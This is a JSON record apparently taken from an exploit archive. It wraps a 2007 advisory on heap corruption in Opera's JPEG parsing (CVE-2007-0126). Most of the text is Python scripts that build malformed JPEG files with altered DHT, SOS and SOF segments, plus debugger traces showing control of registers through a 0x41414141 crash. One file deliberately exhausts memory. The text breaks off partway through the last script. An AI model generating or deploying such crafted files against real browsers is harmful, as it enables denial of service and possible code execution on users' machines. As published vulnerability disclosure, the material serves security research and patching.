{"exploit":{"id":"EDB-3101","name":"Opera 9.10 - '.jpg' Image DHT Marker Heap Corruption","description":"Opera 9.10 - '.jpg' Image DHT Marker Heap Corruption","cves":["CVE-2007-0126"],"author":"posidron","published":"2007-01-08","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3101","path":"exploits/multiple/dos/3101.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3101.txt","vulnerabilities":[{"id":"CVE-2007-0126","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in Opera 9.02 allows remote attackers to execute arbitrary code via a JPEG file with an invalid number of index bytes in the Define Huffman Table (DHT) marker.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0126","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0126"},"updatedAt":"2024-08-07T12:03:37.147Z","retrievedAt":"2026-11-27T00:09:48.076Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3101.png?v=2","url":"https://exploitbin.com/exploits/EDB-3101","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3101/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3101/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Opera JPEG processing - Heap corruption vulnerabilities\n=======================================================\nDate..:  8th September 2006\n       31th October 2006  (update)\n        3rd November 2006 (update)\n        5th January 2007  (public release)\n\nhttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=457\n\nAuthor: posidron\n\nApplication: Opera 9.01 Build 8552\nEnvironment: Windows XP Professional, Service Pack 2 - DE\n\n\nPreamble\n========\n\nOpera is vulnerable in parsing the JPEG file format. Discovered were four\nvulnerabilities, each in different segments of the file format. I will\ndescribe in this advisory the two important ones.\n\n1 - ntdll.RtlAllocateHeap() DHT vulnerability\n2 - ntdll.RtlAllocateHeap() SOS vulnerability\n\nOpera Mini for mobile phones could be vulnerable also. The second bug looks\nvery interesting to this topic.\n\n\nDetails\n=======\n\nThe following code produces the sample image on which all further operations\nare made. It's a valid image which was generated with Adobe Photoshop.\n\nProperties\n----------\n\n Type       : JPEG\n Size       : 1px x 1px\n Compression: Low\n Colors:    : None\n Filesize   : 304 bytes\n\n\n# File: sample.py\nbytes = [\n 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,\n 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,\n 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,\n 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,\n 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,\n 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,\n 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,\n 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,\n 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,\n 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,\n 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,\n 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,\n 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]\n\nf = open(__file__+\".jpg\", \"wb\")\nfor byte in bytes: f.write(\"%c\" % byte)\nf.close()\nprint __file__+\".jpg created! (%d bytes)\" % len(bytes)\n# eof\n\nF:\\vulndev\\Opera> python sample.py\nsample.py.jpg created! (304 bytes)\nF:\\vulndev\\Opera>\n\n\n                     **************************************************\n\n\nDetails - ntdll.RtlAllocateHeap() DHT vulnerability\n---------------------------------------------------\n\nSegment: Define Huffman Table (DHT)\n\nDHT..................: FF C4\nLength...............: 00 4B\nIndex................: 00\nNumber of codes......: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06\nSum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n\nWe change the above to the below:\n\nNumber of codes......: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nSum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n                      10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n                      11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n\n\n# File: heap.py\nbytes = [\n 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,\n 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,\n 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,\n 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,\n 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,\n 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,\n 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,\n 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,\n 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,\n 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,\n\n 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\n                                                                        0xFF,\n 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,\n 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]\n\nf = open(__file__+\".jpg\", \"wb\")\nfor byte in bytes: f.write(\"%c\" % byte)\nf.close()\nprint __file__+\".jpg created! (%d bytes)\" % len(bytes)\n# eof\n\nF:\\vulndev\\Opera> python heap.py\nheap.py.jpg created! (304 bytes)\nF:\\vulndev\\Opera>\n\n\n\nAnalyse - ntdll.RtlAllocateHeap() DHT vulnerability\n---------------------------------------------------\n\nThe call stack is very large, I think here is a good place to start:\n\n74E5D637  call    dword ptr ds:[eax+4]     ; set hardware bp on execution\n\nit's the 6th function from the top of the \"crash\" call stack. Restart Olly,\npress F9 until Opera shows up again.\n\nHit F7 until:\n\n74E610B6  mov     bl, byte ptr ds:[eax+1]  ; set hardware bp on execution\n\nHit F9 until the following shows up in the panel, at this statement:\n\nds:[543502E9]=C4 ('Ã„')\nbl=00\n\nThat's the marker of the \"Define Huffman Table\" segment.\nGo on with F9, you will reach again:\n\ncall dword ptr ds:[eax+4]\n\nHit again F9, Opera shows up, drag the image into Opera.\nYou will reach again:\n\ncall dword ptr ds:[eax+4]\n\nHit F9 until you reached:\n\n74E610B6  mov     bl, byte ptr ds:[eax+1]\n\nHit F9 until the following shows up in the panel, at this statement:\n\nds:[543502E9]=C4 ('Ã„')\nbl=00\n\nHit F7 to continue.\n\n74E5D735  push    ebp\n74E5D736  mov     ebp, esp\n...\n74E5D750  mov     dh, byte ptr ds:[eax+2]   ; user input\n74E5D753  mov     dl, byte ptr ds:[eax+3]   ; user input\n74E5D756  lea     edi, dword ptr ds:[edx+2]\n74E5D759  cmp     ecx, edi\n74E5D75B  jnb     short Opera_1.74E5D765\n\nFirst bytes of this marker are readed in there.\n\nGo on..\n\n74E5D7C2  mov     dl, byte ptr ds:[eax+ecx]     ; read eax + n\n74E5D7C5  mov     byte ptr ss:[ebp+ecx-40], dl  ; new location\n74E5D7C9  movzx   edx, dl\n74E5D7CC  add     ebx, edx\n74E5D7CE  inc     ecx                           ; n+=1\n74E5D7CF  cmp     ecx, 10                       ; until n > 16\n74E5D7D2  jb      short Opera_1.74E5D7C2\n74E5D7D4  lea     eax, dword ptr ds:[ebx+1]\n74E5D7D7  mov     dword ptr ss:[ebp-18], ebx\n74E5D7DA  push    eax\n74E5D7DB  call    Opera_1.751E8B75              ; Opera allocation function\n\nSeveral operations are made here, single stepping might be interesting,\nto follow the read-in process.\n\n74E5D7E0  mov     edi, eax\n74E5D7E2  lea     eax, dword ptr ds:[ebx+ebx]\n74E5D7E5  push    eax\n74E5D7E6  mov     dword ptr ss:[ebp-1C], edi\n74E5D7E0  mov     edi, eax\n74E5D7E2  lea     eax, dword ptr ds:[ebx+ebx]\n74E5D7E5  push    eax\n74E5D7E6  mov     dword ptr ss:[ebp-1C], edi\n74E5D7E9  call    Opera_1.751E8B75              ; Opera allocation function\n\nIf you return here, the last procedures are made.\n\n74E5D8A7  mov     eax, dword ptr ss:[ebp-18]\n74E5D8AA  add     eax, 260                      ; new allocation size\n74E5D8AF  push    eax\n74E5D8B0  call    Opera_1.751E8B75              ; Opera allocation function\n<snip>\n 76709E57  push    esi                           ; Size\n 76709E58  push    0                             ; Flags\n 76709E5A  push    dword ptr ds:[768268C0]       ; Handle\n 76709E60  call    dword ptr ds:[7671C1C0]       ; ntdll.RtlAllocateHeap\n <snip>\n  6BB01414  lea     edx, dword ptr ds:[esi+8]     ; our \"string\"\n  6BB01417  mov     dword ptr ss:[ebp-10C], edx\n  6BB0141D  mov     eax, dword ptr ds:[edx]\n  6BB0141F  mov     dword ptr ss:[ebp-16C], eax\n  6BB01425  mov     ecx, dword ptr ds:[edx+4]\n  6BB01428  mov     dword ptr ss:[ebp-114], ecx\n  6BB0142E  mov     edi, dword ptr ds:[ecx]       ; ds:[41414141]=???\n\n\nAccess violation when reading [41414141]\n\nEAX 41414141\nECX 41414141\nEDX 5C9C9348 ASCII \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\nEBX 59110000\nESP 578DEB6C\nEBP 578DED8C\nESI 5C9C9340\nEDI 0000004F\nEIP 3D3D142E ntdll.3D3D142E\n\nAt this point we are able to control 4 bytes of EAX and ECX with two bytes,\ndefined in the JPEG file.\nSomebody with a better understanding of the \"Define Huffman Table\" segment\ncan probably do more. There are several other issues in parsing this segment.\nThese routines are very nested and big, it would be a very time-consuming\nresearch.\n\n\n                     **************************************************\n\n\nDetails - ntdll.RtlAllocateHeap() SOS vulnerability\n---------------------------------------------------\n\nThe arrows mark the components whose datatypes are not properly validated by\nOpera. This can lead to unexpected vulnerabilities depending on the function\nflow.\n\nSegment: Start Of Scan (SOS)\n\nSOS:                  FF DA\nLength:               00 0C\nComponents:           03\nData of component:\n       - component number:              01\n       - 4Bit DC table, 4Bit AC table:  00\n\n       - component number:              02\n       - 4Bit DC table, 4Bit AC table:  11\n\n       - component number:              03\n       - 4Bit DC table, 4Bit AC table:  11\n\nIn the next example we set the value of \"Components\" to 01, we also overwrite\nthe end of file with dump bytes. Note, that we also overwrite the JPEG end\nmarker FF D9.\n\nAfter executing this JPEG file with Opera, Opera immediatly allocates memory\nuntil the max page size value is reached, but it doesn't stop.\n\nNote that some third party applications could also crash during this process,\nin my case Antivir crashed with a \"read memory\" error.\n\n\n# File: pavarotti.py\n# ATTENTION, THIS COULD DAMAGE YOUR RUNNING SYSTEM!\nbytes = [\n 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,\n 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,\n 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,\n 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,\n 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x41,\n 0x41, 0x41, 0x41, 0x03, 0x41, 0x41, 0x41, 0x41, 0x11, 0x41, 0x41, 0x41, 0x41,\n 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x01, 0x01, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n                                                                        0xFF,\n 0xDA, 0x00, 0x0C, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x11, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]\n\nf = open(__file__+\".jpg\", \"wb\")\nfor byte in bytes: f.write(\"%c\" % byte)\nf.close()\nprint __file__+\".jpg created! (%d bytes)\" % len(bytes)\n# eof\n\nF:\\vulndev\\Opera> python pavarotti.py\npavarotti.py.jpg created! (637 bytes)\nF:\\vulndev\\Opera> opera pavarotti.py.jpg\n\n\nAs said, this could be also interesting on mobile phones with Opera Mini. The\nuser has no real control to kill the Opera process, which should result in a\nphone reboot. This was not tested.\n\n\n                     **************************************************\n\n\nFurther vulnerabilities\n-----------------------\n\nThe arrows mark the components whose datatypes are not properly validated by\nOpera.\n\n\nSegment: Start Of Frame (SOF)\n\nSOF:            FF C0\nLength:         00 11\nStrictness:     08\nImage Hori.:    00 01\nImage Vert.:    00 01\nComponents:     03\nData of component:\n       - component number:                      01\n       - 4Bit hori., 4Bit vert., sample factor: 22\n       - Number of quantisation table:          00 <-\n\n       - component number:                      02\n       - 4Bit hori., 4Bit vert., sample factor: 11\n       - Number of quantisation table:          01 <-\n\n       - component number:                      03\n       - 4Bit hori., 4Bit vert., sample factor: 11\n       - Number of quantisation table:          01 <-\n\n\nThe item \"Number of quantisation table\" of the first component is changed to\nFFh in the below file.\n\n\n# File: sof-quanttable.py\nbytes = [\n 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,\n 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,\n 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,\n 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,\n 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,\n 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,\n 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,\n 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,\n 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n\n                                          0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,\n 0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0xFF, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,\n 0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,\n 0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,\n 0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]\n\n\nf = open(__file__+\".jpg\", \"wb\")\nfor byte in bytes: f.write(\"%c\" % byte)\nf.close()\nprint __file__+\".jpg created! (%d bytes)\" % len(bytes)\n# eof\n\nF:\\vulndev\\Opera> python sof-quanttable.py\nsof-quanttable.py.jpg created! (304 bytes)\nF:\\vulndev\\Opera>\n\n\n(ntdll)\n7C9211D5  mov     eax, dword ptr ds:[esi+C]\n7C9211D8  mov     dword ptr ss:[ebp-98], eax\n7C9211DE  mov     edx, dword ptr ds:[eax]     ; <-- CRASH\n\nEAX 01010101\nECX 00EB2780\nEDX 00930178\nEBX 00930000\nESP 0012EC94\nEBP 0012EEB4\nESI 00EB2778\nEDI 01010101\nEIP 7C9211DE ntdll.7C9211DE\n\n----\n\nSegment: Start Of Scan (SOS)\n\nSOS:                  FF DA\nLength:               00 0C\nComponents:           03\nData of component:\n       - component number:              01\n       - 4Bit DC table, 4Bit AC table:  00 <-\n\n       - component number:              02\n       - 4Bit DC table, 4Bit AC table:  11 <-\n\n       - component number:              03\n       - 4Bit DC table, 4Bit AC table:  11 <-\n\n\nThe item \"4Bit DC table, 4Bit AC table\" of the first component is changed to\nFFh in the below file.\n\n# File: sos-dcactable.py\nbytes = [\n 0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,\n 0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,\n 0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,\n 0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,\n 0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,\n 0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,\n 0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,\n 0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,\n 0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,\n 0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 